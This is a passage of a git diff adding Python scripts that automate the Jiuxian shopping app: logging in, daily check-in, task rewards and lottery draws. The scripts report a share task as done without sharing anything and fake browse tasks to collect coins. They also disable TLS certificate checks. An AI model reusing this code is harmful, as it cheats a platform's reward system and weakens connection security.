+ main()
\ No newline at end of file
diff --git a/酒仙网账密.py b/酒仙网账密.py
new file mode 100644
index 0000000..aa3edc5
--- /dev/null
+++ b/酒仙网账密.py
@@ -0,0 +1,359 @@
+"""
+酒仙网自动任务脚本
+扫码链接 https://img.meituan.net/portalweb/ba0be8b7b52975047a38682ec3070172251739.jpg
+功能:
+1. 自动登录酒仙网账号
+2. 自动每日签到领取金币
+3. 自动完成所有"浏览"和"分享"类任务并领取金币
+4. 自动参与抽奖活动
+
+适用于青龙面板
+环境变量设置:
+JX_COOKIE,值为 "账号#密码",多个账号用换行分隔
+示例:
+JX_COOKIE="13800000000#password123"
+或多个账号:
+JX_COOKIE="13800000000#password123
+13900000000#password456"
+"""
+
+import os
+import requests
+import time
+import json
+import ssl
+import random
+from requests.adapters import HTTPAdapter
+from urllib.parse import urlparse
+
+class LegacyRenegotiationAdapter(HTTPAdapter):
+ def init_poolmanager(self, *args, **kwargs):
+ context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
+ context.options |= getattr(ssl, "OP_LEGACY_SERVER_CONNECT", 0x4)
+ kwargs['ssl_context'] = context
+ return super(LegacyRenegotiationAdapter, self).init_poolmanager(*args, **kwargs)
+
+COMMON_PARAMS = {
+ 'apiVersion': '1.0', 'appKey': '5C6567E5-C48B-40C2-A7C4-65D361151543',
+ 'appVersion': '9.2.13', 'areaId': '500', 'channelCode': '0,1', 'cityName': '北京市',
+ 'consentStatus': '2', 'cpsId': 'appstore', 'deviceIdentify': '5C6567E5-C48B-40C2-A7C4-65D361151543',
+ 'deviceType': 'IPHONE', 'deviceTypeExtra': '0', 'equipmentType': 'iPhone 6s Plus',
+ 'netEnv': 'WIFI', 'pushToken': '9a6b0095130f0c8ab0863351669ebcefe66dbc8cc88170a943cfd40833cc33d4',
+ 'screenReslolution': '414.00x736.00', 'supportWebp': '1', 'sysVersion': '15.8.3',
+}
+
+NATIVE_HEADERS = {
+ 'User-Agent': 'jiuxian/9.2.13 (iPhone; iOS 15.8.3; Scale/3.00)',
+ 'Accept-Language': 'zh-Hans-US;q=1',
+ 'Accept': 'text/html; q=1.0, text/*; q=0.8, image/gif; q=0.6, image/jpeg; q=0.6, image/*; q=0.5, */*; q=0.1',
+ 'Connection': 'keep-alive'
+}
+
+WEBVIEW_USER_AGENT = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) oadzApp suptwebp/2 jiuxianApp/9.2.13 from/iOS areaId/500'
+
+class JXClient:
+ def __init__(self, username, password):
+ self.username = username
+ self.password = password
+ self.session = requests.Session()
+ self.session.mount('https://', LegacyRenegotiationAdapter())
+ self.session.headers.update(NATIVE_HEADERS)
+ self.token = None
+
+ def login(self):
+ print(f"🔑 正在为账号【{self.username}】执行登录...")
+ login_url = "https://newappuser.jiuxian.com/user/loginUserNamePassWd.htm"
+ login_data = {**COMMON_PARAMS, 'userName': self.username, 'passWord': self.password, 'token': ''}
+ headers = {**self.session.headers, 'Host': 'newappuser.jiuxian.com', 'Content-Type': 'application/x-www-form-urlencoded'}
+ try:
+ response = self.session.post(login_url, data=login_data, headers=headers, timeout=15)
+ response.raise_for_status()
+ result = response.json()
+ if result.get("success") == "1":
+ user_info = result.get("result", {}).get("userInfo", {})
+ self.token = user_info.get("token")
+ print(f"✅ 登录成功!你好,【{user_info.get('uname') or self.username}】")
+ return True
+ else:
+ print(f"❌ 登录失败: {result.get('errMsg') or '未知错误'}")
+ return False
+ except Exception as e:
+ print(f"❌ 登录请求异常: {e}")
+ return False
+
+ def query_balance(self, prefix=""):
+ if not self.token: return
+ url = "https://newappuser.jiuxian.com/user/myWinebibber.htm"
+ params = {**COMMON_PARAMS, 'token': self.token}
+ headers = {**self.session.headers, 'Host': 'newappuser.jiuxian.com'}
+ try:
+ response = self.session.get(url, params=params, headers=headers, timeout=15)
+ result = response.json()
+ if result.get("success") == "1":
+ gold_money = result.get("result", {}).get("bibberInfo", {}).get("goldMoney", "查询失败")
+ print(f"💰 {prefix}金币余额: {gold_money}")
+ except Exception:
+ print(f"⚠️ 查询余额失败。")
+
+ def do_daily_tasks(self):
+ if not self.token: return
+ print("\n--- 🌟 开始执行日常任务 ---")
+ self.query_balance(prefix="任务前")
+
+ info_url = "https://newappuser.jiuxian.com/memberChannel/memberInfo.htm"
+ params = {**COMMON_PARAMS, 'token': self.token}
+ headers = {**self.session.headers, 'Host': 'newappuser.jiuxian.com'}
+ try:
+ response = self.session.get(info_url, params=params, headers=headers, timeout=15)
+ response.raise_for_status()
+ result = response.json().get("result", {})
+
+ if not result.get("isSignTody"):
+ print("📌 今日未签到,执行签到...")
+ self.do_sign_in()
+ time.sleep(random.randint(2, 4))
+ else:
+ print("👍 今日已签到。")
+
+ response = self.session.get(info_url, params=params, headers=headers, timeout=15)
+ result = response.json().get("result", {})
+ task_info = result.get("taskChannel", {})
+ task_token = task_info.get("taskToken")
+ task_list = [task for task in task_info.get("taskList", []) if task.get("state") in [0, 1]]
+
+ if not task_list or not task_token:
+ print("📦 未发现可执行的任务或所有任务均已完成。")
+ return
+
+ print(f"📋 检测到 {len(task_list)} 个待办任务,准备执行...")
+ for i, task in enumerate(task_list):
+ task_name = task.get("taskName")
+ task_state = task.get("state")
+
+ print(f"\n▶️ 开始处理任务: 【{task_name}】")
+
+ if task_state == 0:
+ if task.get("taskType") == 1:
+ self.do_browse_task(task, task_token)
+ elif task.get("taskType") == 2:
+ self.do_share_task(task, task_token)
+ elif task_state == 1:
+ print(" - 任务状态为'已完成,待领取', 直接领取奖励...")
+ self.claim_task_reward(task.get("id"), task_token)
+
+ if i < len(task_list) - 1:
+ delay = random.randint(3, 5)
+ print(f"⏳ 随机等待 {delay} 秒...")
+ time.sleep(delay)
+ except Exception as e:
+ print(f"❌ 获取任务列表失败: {e}")
+ finally:
+ print("\n--- ✅ 所有任务执行完毕 ---")
+ self.query_balance(prefix="最终")
+
+ def do_sign_in(self):
+ url = "https://newappuser.jiuxian.com/memberChannel/userSign.htm"
+ params = {**COMMON_PARAMS, 'token': self.token}
+ headers = {**self.session.headers, 'Host': 'newappuser.jiuxian.com'}
+ try:
+ response = self.session.get(url, params=params, headers=headers, timeout=15)
+ result = response.json()
+ if result.get("success") == "1":
+ gold_num = result.get("result", {}).get("receivedGoldNums", "未知")
+ print(f"🎉 签到成功!获得 {gold_num} 金币。")
+ else:
+ print(f"❌ 签到失败: {result.get('errMsg')}")
+ except Exception as e:
+ print(f"❌ 签到请求异常: {e}")
+
+ def do_browse_task(self, task, task_token):
+ print(" - [第1步] 正在访问任务页面...")
+ try:
+ url, countdown = task.get("url"), task.get("countDown", 15)
+ host = urlparse(url).netloc
+ headers = {**NATIVE_HEADERS, 'Host': host, 'User-Agent': WEBVIEW_USER_AGENT}
+ cookies = {'token': self.token}
+ self.session.get(url, headers=headers, cookies=cookies, timeout=15)
+ print(f" - 页面访问成功,等待 {countdown} 秒...")
+ for i in range(countdown, 0, -1):
+ print(f"\r 倒计时: {i}秒 ", end="")
+ time.sleep(1)
+ print("\r 倒计时结束。")
+ except Exception as e:
+ print(f" - ❌ 访问任务页面失败: {e}")
+ return
+ if self.mark_task_as_complete(task, task_token):
+ time.sleep(random.randint(1, 3))
+ self.claim_task_reward(task.get("id"), task_token)
+
+ def do_share_task(self, task, task_token):
+ print(" - [第1步] 模拟点击分享...")
+ if self.mark_task_as_complete(task, task_token):
+ time.sleep(random.randint(1, 3))
+ self.claim_task_reward(task.get("id"), task_token)
+
+ def mark_task_as_complete(self, task, task_token):
+ print(" - [第2步] 正在标记任务为'已完成'...")
+ url = "https://shop.jiuxian.com/show/wap/addJinBi.htm"
+ data = {'taskId': task.get("id"), 'taskToken': task_token}
+ headers = {'Host': 'shop.jiuxian.com', 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest','Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8','Origin': 'https://shop.jiuxian.com', 'Referer': task.get("url"),'User-Agent': WEBVIEW_USER_AGENT}
+ cookies = {'token': self.token}
+ try:
+ response = self.session.post(url, data=data, headers=headers, cookies=cookies, timeout=15)
+ result = response.json()
+ if result.get("code") == 1:
+ print(" 标记成功。")
+ return True
+ except Exception: pass
+ print(f" - ❌ 标记任务失败。")
+ return False
+
+ def claim_task_reward(self, task_id, task_token):
+ print(" - [第3步] 💰 正在领取任务金币...")
+ url = "https://newappuser.jiuxian.com/memberChannel/receiveRewards.htm"
+ params = {**COMMON_PARAMS, 'token': self.token, 'taskId': task_id, 'taskToken': task_token}
+ headers = {**self.session.headers, 'Host': 'newappuser.jiuxian.com'}
+ try:
+ response = self.session.get(url, params=params, headers=headers, timeout=15)
+ result = response.json()
+ if result.get("success") == "1":
+ gold_num = result.get("result", {}).get("goldNum", "未知")
+ print(f" 🎉 领取成功!获得 {gold_num} 金币。")
+ else:
+ print(f" - ❌ 领取奖励失败: {result.get('errMsg')}")
+ except Exception as e:
+ print(f" - ❌ 领取奖励请求异常: {e}")
+
+ def do_lottery(self, activity_id="8e8b7f5386194798ab1ae7647f4af6ba", max_draws=10):
+ if not self.token:
+ return
+ print("\n--- 🎰 开始执行抽奖任务 ---")
+ url = "https://h5market2.jiuxian.com/drawObject"
+ headers = {
+ 'Host': 'h5market2.jiuxian.com',
+ 'Accept': '*/*',
+ 'X-Requested-With': 'XMLHttpRequest',
+ 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',
+ 'Origin': 'https://h5market2.jiuxian.com',
+ 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) from/iOS long/119.3335310872396 areaId/2200 jiuxianApp/9.2.13 suptwebp/2 lati/41.59607340494792 oadzApp',
+ 'Referer': f'https://h5market2.jiuxian.com/draw.htm?flag=ios&id={activity_id}&suptwebp=2&deeplink=1&from=iOS',
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ }
+ cookies = {'token': self.token}
+
+ draw_count = 0
+ for i in range(max_draws):
+ try:
+ current_time = int(time.time() * 1000)
+ data = {
+ 'id': activity_id,
+ 'isOrNotAlert': 'false',
+ 'orderSn': '',
+ 'advId': '',
+ 'time': str(current_time)
+ }
+
+ print(f"\n🎲 正在进行第 {i + 1} 次抽奖...")
+ response = self.session.post(url, data=data, headers=headers, cookies=cookies, timeout=15)
+ result = response.json()
+
+ # 处理没有code字段的情况(正常抽奖返回)
+ luck_info = result.get("luck")
+
+ # 判断是否有抽奖机会
+ if luck_info is False:
+ luckdrawnum = result.get("luckdrawnum", {})
+ total_chance = sum([
+ luckdrawnum.get("FreeNums", 0),
+ luckdrawnum.get("SignNums", 0),
+ luckdrawnum.get("UseGoldNums", 0),
+ luckdrawnum.get("BuyNums", 0)
+ ])
+ if total_chance == 0:
+ print(f"⚠️ 没有抽奖机会了")
+ else:
+ print(f"⚠️ 金币不足,无法抽奖")
+ print("📌 停止抽奖。")
+ break
+
+ # 正常抽奖结果
+ if isinstance(luck_info, dict):
+ prize_name = luck_info.get("luckname", "未知奖品")
+ user_coins = result.get("userCoins", "")
+ luck_coins = luck_info.get("luckCoins", 0)
+
+ # 判断是否中奖
+ if "谢谢" in prize_name or luck_coins == 0:
+ print(f"💨 {prize_name}")
+ else:
+ prize_msg = f"🎊 恭喜!抽中了: 【{prize_name}】"
+ if luck_coins:
+ prize_msg += f" (价值 {luck_coins} 金币)"
+ if user_coins:
+ prize_msg += f" | 剩余金币: {user_coins}"
+ print(prize_msg)
+
+ draw_count += 1
+ time.sleep(random.randint(2, 4))
+ continue
+
+ # 处理带code的错误返回
+ code = result.get("code")
+ if code == -1:
+ msg = result.get("msg", "")
+ if "次数" in msg or "已参与" in msg or "机会" in msg:
+ print(f"⚠️ {msg}")
+ print("📌 抽奖次数已用完,停止抽奖。")
+ break
+ else:
+ print(f"⚠️ 抽奖失败: {msg}")
+ break
+ elif code == 0:
+ msg = result.get("msg", "")
+ print(f"⚠️ {msg if msg else '抽奖失败'}")
+ break
+ else:
+ # 未知情况,显示详细信息
+ msg = result.get("msg", "")
+ print(f"⚠️ 抽奖返回未知状态 (code={code}): {msg if msg else '未知错误'}")
+ print(f"📄 完整返回: {json.dumps(result, ensure_ascii=False)}")
+ break
+
+ except Exception as e:
+ print(f"❌ 抽奖请求异常: {e}")
+ break
+
+ if draw_count > 0:
+ print(f"\n🎉 抽奖完成!共成功抽奖 {draw_count} 次。")
+ else:
+ print("\n📭 本次未能成功抽奖。")
+ print("--- ✅ 抽奖任务执行完毕 ---")
+
+ def run(self):
+ if self.login():
+ time.sleep(random.randint(1, 3))
+ self.do_daily_tasks()
+ time.sleep(random.randint(2, 4))
+ self.do_lottery()
+
+def main():
+ print("====== 🚀 酒仙网全自动任务 🚀 ======")
+ jx_cookie = os.environ.get("JX_COOKIE")
+ if not jx_cookie:
+ print("🛑 未找到环境变量 JX_COOKIE!")
+ return
+ accounts = jx_cookie.strip().split("\n")
+ print(f"🔧 检测到 {len(accounts)} 个账号,准备执行...")
+ for i, account in enumerate(accounts):
+ if not account: continue
+ print(f"\n--- 🌀 开始执行第 {i + 1} 个账号 🌀 ---")
+ try:
+ username, password = account.split("#")
+ client = JXClient(username.strip(), password.strip())
+ client.run()
+ except Exception as e:
+ print(f"❌ 执行第 {i + 1} 个账号时发生未知错误: {e}")
+ print("\n====== 🎉 所有账号执行完毕 🎉 ======")
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/酒仙账密版/jiuxian_config.py b/酒仙账密版/jiuxian_config.py
new file mode 100644
index 0000000..8f4d407
--- /dev/null
+++ b/酒仙账密版/jiuxian_config.py
@@ -0,0 +1,43 @@
+# 酒仙应用配置
+class JiuxianConfig:
+ # 应用基本信息
+ APP_NAME = "酒仙"
+ VERSION = "9.2.13"
+ APP_KEY = "ad96ade2-b918-3e05-86b8-ba8c34747b0c"
+ DEVICE_ID = "ad96ade2-b918-3e05-86b8-ba8c34747b0c"
+
+ # API接口
+ LOGIN_URL = "https://newappuser.jiuxian.com/user/loginUserNamePassWd.htm"
+ MEMBER_INFO_URL = "https://newappuser.jiuxian.com/memberChannel/memberInfo.htm"
+ RECEIVE_REWARD_URL = "https://newappuser.jiuxian.com/memberChannel/receiveRewards.htm"
+ TASK_COMPLETE_URL = "https://shop.jiuxian.com/show/wap/addJinBi.htm"
+ SHARE_REPORT_URL = "https://log.umsns.com/share/multi_add/51ff1ac356240b6fb20a2156/-1/"
+ SIGN_URL = "https://newappuser.jiuxian.com/memberChannel/userSign.htm"
+
+ # 请求头
+ HEADERS = {
+ "User-Agent": "okhttp/3.14.9",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "newappuser.jiuxian.com",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "gzip"
+ }
+
+ # 设备信息
+ DEVICE_INFO = {
+ "appVersion": VERSION,
+ "areaId": "500",
+ "channelCode": "0",
+ "cpsId": "xiaomi",
+ "deviceIdentify": DEVICE_ID,
+ "deviceType": "ANDROID",
+ "deviceTypeExtra": "0",
+ "equipmentType": "M2011K2C",
+ "netEnv": "wifi",
+ "screenReslolution": "1080x2297",
+ "supportWebp": "1",
+ "sysVersion": "14"
+ }
+
+ # Token存储文件路径
+ TOKEN_FILE = "/ql/data/scripts/jiuxian_tokens.json"
\ No newline at end of file
diff --git a/酒仙账密版/jiuxian账密版.py b/酒仙账密版/jiuxian账密版.py
new file mode 100644
index 0000000..6b4e538
--- /dev/null
+++ b/酒仙账密版/jiuxian账密版.py
@@ -0,0 +1,947 @@
+"""
+
+酒仙app/微信小程序签到脚本V1.1
+
+
+邀请推广入口(咱俩各得1000积分!!)
+https://img.meituan.net/portalweb/ba0be8b7b52975047a38682ec3070172251739.jpg
+操作步骤:
+
+打开上方链接
+
+截图保存二维码
+
+微信扫码参与活动
+
+点击"立即领取"获得1000积分!!
+
+
+!!!请勿在0-1点之间运行!!!
+定时规则:(每天上午9点10分运行)
+10 9 * * *
+
+
+
+脚本特色
+· 自动完成每日签到 + 3个浏览任务
+· 支持多账号批量运行
+· 同时支持账号密码登录和Token登录
+· 支持PushPlus微信推送通知
+· 平均每日可获得约100金币
+
+
+配置说明:
+
+方式一:账号密码登录(多用户换行分割)
+变量名:jiuxian
+格式:
+手机号#密码
+13800138000#123456
+13900139000#abcdef
+
+注意:如使用账号密码登录,请先在App中修改为自定义密码
+
+
+
+
+
+方式二:Token登录(抓包微信小程序)
+变量名:JX_TOKENS
+获取方式:
+抓包域名:https://newappuser.jiuxian.com/
+
+在请求参数中查找token值
+
+格式:
+token1
+token2
+token3
+
+
+推送通知(可选)
+变量名:PUSHPLUS_TOKEN
+在 PushPlus官网 获取Token,用于接收运行结果推送
+
+
+
+每日任务清单:
+· 每日签到 [正常] - 10-70金币,连续签到奖励更高
+· 浏览任务1 [正常] - 20金币,自动完成
+· 浏览任务2 [正常] - 20金币,自动完成
+· 浏览任务3 [正常] - 20金币,自动完成
+· 分享任务 [待完善] - 100金币,需要手动完成
+
+收益估算:
+· 基础收益:每日约70-120金币
+· 连续签到:每周额外奖励
+· 月累计:约3000金币
+
+积分兑换
+
+兑换内容:
+· 多种实物商品
+
+
+积分规则:
+· 有效期:当年积分次年年底失效
+· 清空机制:注意及时使用
+
+#####################################################################
+本脚本采用三层架构设计,请下载以下3个文件并放在同一文件夹中:
+
+├── jiuxian_config.py # 配置层 - 管理应用配置、API接口和设备信息
+├── jiuxian账密版.py # 业务逻辑层 - 主要的业务逻辑和任务执行流程
+└── token_manager.py # 数据持久层 - 负责Token数据的存储和管理
+
+使用步骤:
+
+将三个文件下载到同一文件夹
+
+配置环境变量(jiuxian 或 JX_TOKENS)
+
+运行主程序:task jiuxian账密版.py
+
+
+
+####################################################################
+
+
+
+-----------------------------------------------------------
+
+免责声明
+
+· 本脚本仅供学习交流使用,不得用于商业用途
+· 使用者应对自己的行为负责,脚本作者不承担任何法律责任
+· 请合理使用脚本,遵守相关平台规则
+· 禁止将脚本用于任何违法违纪行为
+· 如遇平台规则变更,请及时停止使用
+· 下载或使用即代表同意以上声明
+
+使用建议
+
+· 建议设置合理的执行频率,避免对服务器造成压力
+· 妥善保管账号信息,注意账号安全
+· 关注平台规则变化,及时调整使用方式
+· 如发现异常,请立即停止使用
+
+风险提示
+
+· 使用自动化脚本可能存在账号风险
+· 请根据自身情况谨慎使用
+· 如不确定是否合规,建议手动操作
+------------------------------------------------------------
+"""
+import os
+import json
+import time
+import random
+import requests
+from typing import Dict, List, Optional, Tuple
+import urllib3
+from jiuxian_config import JiuxianConfig
+from token_manager import TokenManager
+
+# 禁用SSL警告
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+class Jiuxian:
+ def __init__(self, username: str = None, password: str = None, token: str = None):
+ self.username = username
+ self.password = password
+ self.token = token
+ self.uid = None
+ self.nickname = None
+ self.task_token = None
+ self.session = requests.Session()
+ self.session.verify = False
+ self.token_manager = TokenManager(JiuxianConfig.TOKEN_FILE)
+
+ def get_phone_tail(self, phone: str = None) -> str:
+ """获取手机尾号(脱敏处理)"""
+ if not phone:
+ phone = self.username or ""
+ if phone and len(phone) >= 4:
+ return f"******{phone[-4:]}"
+ return "****"
+
+ def load_saved_token(self) -> bool:
+ """加载已保存的Token"""
+ if not self.username:
+ return False
+
+ token_data = self.token_manager.get_token(self.username)
+ if token_data and self.token_manager.is_token_valid(self.username):
+ self.token = token_data.get("token")
+ self.uid = token_data.get("uid")
+ self.nickname = token_data.get("nickname")
+ phone_tail = self.get_phone_tail()
+ print(f"🔑 加载已保存的Token: {self.nickname} ({phone_tail})")
+ return True
+ return False
+
+ def save_current_token(self):
+ """保存当前Token信息"""
+ if self.token and self.uid and self.username:
+ token_data = {
+ "token": self.token,
+ "uid": self.uid,
+ "nickname": self.nickname,
+ "update_time": int(time.time())
+ }
+ self.token_manager.save_token(self.username, token_data)
+ phone_tail = self.get_phone_tail()
+ print(f"💾 保存Token信息: {self.nickname} ({phone_tail})")
+
+ def login_with_password(self) -> bool:
+ """使用账号密码登录"""
+ try:
+ if not self.username or not self.password:
+ print("❌ 缺少账号或密码")
+ return False
+
+ login_data = JiuxianConfig.DEVICE_INFO.copy()
+ login_data.update({
+ "appKey": JiuxianConfig.APP_KEY,
+ "userName": self.username,
+ "passWord": self.password
+ })
+
+ response = self.session.post(
+ JiuxianConfig.LOGIN_URL,
+ data=login_data,
+ headers=JiuxianConfig.HEADERS,
+ timeout=30
+ )
+
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("success") == "1":
+ user_info = result["result"]["userInfo"]
+ self.token = user_info["token"]
+ self.uid = user_info["uid"]
+ self.nickname = user_info["nickName"]
+
+ # 保存新的Token
+ self.save_current_token()
+ phone_tail = self.get_phone_tail()
+ print(f"✅ 密码登录成功: {self.nickname} ({phone_tail})")
+ return True
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 密码登录失败 ({phone_tail}): {result.get('errMsg', '未知错误')}")
+ # 登录失败时删除无效Token
+ if self.username:
+ self.token_manager.delete_token(self.username)
+ return False
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 登录请求失败 ({phone_tail}): HTTP {response.status_code}")
+ return False
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 登录异常 ({phone_tail}): {str(e)}")
+ return False
+
+ def login_with_token(self) -> bool:
+ """使用Token登录"""
+ try:
+ if not self.token:
+ print("❌ 未提供Token")
+ return False
+
+ # 直接使用提供的Token,验证其有效性
+ phone_tail = self.get_phone_tail()
+ print(f"🔑 使用提供的Token登录 ({phone_tail})...")
+ return self.check_token_valid()
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ Token登录异常 ({phone_tail}): {str(e)}")
+ return False
+
+ def check_token_valid(self) -> bool:
+ """检查当前Token是否有效"""
+ if not self.token:
+ return False
+
+ try:
+ # 通过获取会员信息来验证Token有效性
+ member_info = self.get_member_info()
+ if member_info:
+ # 如果获取到了会员信息,说明Token有效
+ if not self.nickname and member_info.get('userInfo'):
+ self.nickname = member_info['userInfo'].get('nickName', '未知用户')
+ elif not self.nickname:
+ self.nickname = "Token用户"
+ phone_tail = self.get_phone_tail()
+ print(f"✅ Token验证成功: {self.nickname} ({phone_tail})")
+ return True
+ return False
+ except Exception:
+ return False
+
+ def smart_login(self) -> bool:
+ """智能登录:优先使用Token,失败时使用密码登录"""
+ # 如果有直接提供的Token,优先使用
+ if self.token:
+ phone_tail = self.get_phone_tail()
+ print(f"🔄 尝试使用提供的Token登录 ({phone_tail})...")
+ if self.login_with_token():
+ return True
+ else:
+ print("❌ 提供的Token无效,尝试其他登录方式...")
+
+ # 1. 尝试加载已保存的Token(需要用户名)
+ if self.username and self.load_saved_token():
+ # 2. 验证Token是否仍然有效
+ if self.check_token_valid():
+ phone_tail = self.get_phone_tail()
+ print(f"✅ Token登录成功: {self.nickname} ({phone_tail})")
+ return True
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"🔄 保存的Token已过期 ({phone_tail}),尝试密码登录...")
+ # Token无效,清除并重新登录
+ self.token_manager.delete_token(self.username)
+
+ # 3. 使用密码登录(需要用户名和密码)
+ if self.username and self.password:
+ password_login_success = self.login_with_password()
+ if password_login_success:
+ # 密码登录成功后立即获取会员信息来设置taskToken
+ self.get_member_info()
+ return True
+
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 所有登录方式都失败了 ({phone_tail})")
+ return False
+
+ def get_member_info(self) -> Optional[Dict]:
+ """获取会员信息(包含任务列表和taskToken)"""
+ if not self.token:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 请先登录 ({phone_tail})")
+ return None
+
+ try:
+ params = JiuxianConfig.DEVICE_INFO.copy()
+ params["token"] = self.token
+ params["appKey"] = JiuxianConfig.APP_KEY
+
+ response = self.session.get(
+ JiuxianConfig.MEMBER_INFO_URL,
+ params=params,
+ headers=JiuxianConfig.HEADERS,
+ timeout=30
+ )
+
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("success") == "1":
+ member_data = result["result"]
+ # 保存taskToken到实例变量中
+ task_channel = member_data.get("taskChannel", {})
+ self.task_token = task_channel.get("taskToken", "")
+ if self.task_token:
+ phone_tail = self.get_phone_tail()
+ print(f"🔑 获取到taskToken ({phone_tail}): {self.task_token}")
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"⚠️ 未获取到taskToken ({phone_tail})")
+ return member_data
+ else:
+ # Token可能已过期
+ if result.get("errCode") in ["TOKEN_EXPIRED", "INVALID_TOKEN"]:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ Token已过期 ({phone_tail})")
+ if self.username:
+ self.token_manager.delete_token(self.username)
+ return None
+ else:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 获取会员信息请求失败 ({phone_tail}): HTTP {response.status_code}")
+ return None
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 获取会员信息异常 ({phone_tail}): {str(e)}")
+ return None
+
+ def check_in(self) -> Tuple[bool, str]:
+ """每日签到"""
+ try:
+ if not self.token:
+ return False, "未登录"
+
+ params = JiuxianConfig.DEVICE_INFO.copy()
+ params["token"] = self.token
+ params["appKey"] = JiuxianConfig.APP_KEY
+
+ response = self.session.get(
+ JiuxianConfig.SIGN_URL,
+ params=params,
+ headers=JiuxianConfig.HEADERS,
+ timeout=30
+ )
+
+ if response.status_code == 200:
+ result = response.json()
+ if result.get("success") == "1":
+ sign_data = result["result"]
+ sign_days = sign_data.get("signDays", 0)
+ received_golds = sign_data.get("receivedGoldNums", 0)
+ will_get_golds = sign_data.get("willGetGolds", 0)
+
+ message = f"签到成功!连续签到{sign_days}天,获得{received_golds}金币"
+ if will_get_golds > 0:
+ message += f",明日可获得{will_get_golds}金币"
+
+ phone_tail = self.get_phone_tail()
+ print(f"✅ {message} ({phone_tail})")
+ return True, message
+ else:
+ error_msg = result.get('errMsg', '未知错误')
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 签到失败 ({phone_tail}): {error_msg}")
+ return False, error_msg
+ else:
+ error_msg = f"签到请求失败: HTTP {response.status_code}"
+ phone_tail = self.get_phone_tail()
+ print(f"❌ {error_msg} ({phone_tail})")
+ return False, error_msg
+
+ except Exception as e:
+ error_msg = f"签到异常: {str(e)}"
+ phone_tail = self.get_phone_tail()
+ print(f"❌ {error_msg} ({phone_tail})")
+ return False, error_msg
+
+ def complete_browse_task(self, task: Dict) -> bool:
+ """完成浏览任务"""
+ try:
+ if not self.task_token:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 未获取到taskToken ({phone_tail}),无法完成任务")
+ return False
+
+ task_id = task["id"]
+ task_name = task["taskName"]
+ task_url = task["url"]
+ count_down = task.get("countDown", 15)
+
+ phone_tail = self.get_phone_tail()
+ print(f"🔄 开始浏览任务 ({phone_tail}): {task_name}, 需要浏览 {count_down} 秒")
+
+ # 设置浏览页面的请求头
+ browse_headers = {
+ "User-Agent": "Mozilla/5.0 (Linux; Android 14; M2011K2C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/139.0.7258.158 Mobile Safari/537.36 jiuxianApp/9.2.13 from/ANDROID suptwebp/1 netEnv/wifi oadzApp lati/null long/null shopId/ areaId/500",
+ "Cookie": f"token={self.token}",
+ "Referer": "https://shop.jiuxian.com/",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+
+ print("📱 访问任务页面开始计时...")
+
+ # 1. 访问任务页面开始计时
+ browse_response = self.session.get(task_url, headers=browse_headers, timeout=30)
+ if browse_response.status_code != 200:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 任务页面访问失败 ({phone_tail}): HTTP {browse_response.status_code}")
+ return False
+
+ print("✅ 任务页面访问成功,开始计时...")
+
+ # 2. 等待浏览时间
+ wait_time = count_down + 5
+ print(f"⏰ 等待浏览计时 {wait_time} 秒...")
+ time.sleep(wait_time)
+
+ print("✅ 浏览完成,提交任务完成状态...")
+
+ # 3. 提交任务完成状态
+ complete_success = self.submit_task_completion(task_id, task_url)
+ if not complete_success:
+ return False
+
+ print("✅ 任务完成状态提交成功")
+
+ # 4. 领取金币奖励
+ print("💰 领取任务奖励...")
+ return self.receive_reward(task_id, task_name)
+
+ except Exception as e:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 浏览任务异常 ({phone_tail}): {str(e)}")
+ import traceback
+ print(f"详细错误: {traceback.format_exc()}")
+ return False
+
+ def complete_share_task(self, task: Dict) -> bool:
+ """完成分享任务"""
+ try:
+ if not self.task_token:
+ phone_tail = self.get_phone_tail()
+ print(f"❌ 未获取到taskToken ({phone_tail}),无法完成任务")
+ return False
+
+ task_id = task["id"]
+ task_name = task["taskName"]
+ task_url = task["url"]
+
+ phone_tail = self.get_phone_tail()
+ print(f"🔄 开始分享任务 ({phone_tail}): {task_name}")
+
+ # 设置请求头
+ headers = {
+ "User-Agent": "Mozilla/5.0 (Linux; Android 14; M2011K2C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/139.0.7258.158 Mobile Safari/537.36 jiuxianApp/9.2.13 from/ANDROID suptwebp/1 netEnv/wifi oadzApp lati/null long/null shopId/ areaId/500",
+ "Cookie": f"token={self.token}",
+ "Referer": "https://shop.jiuxian.com/"
+ }
+
+ print("📱 访问分享页面...")
+ # 1. 访问分享页面
+ response = self.session.get(task_url, headers=headers, timeout=30)
+ if response.status_code != 200:
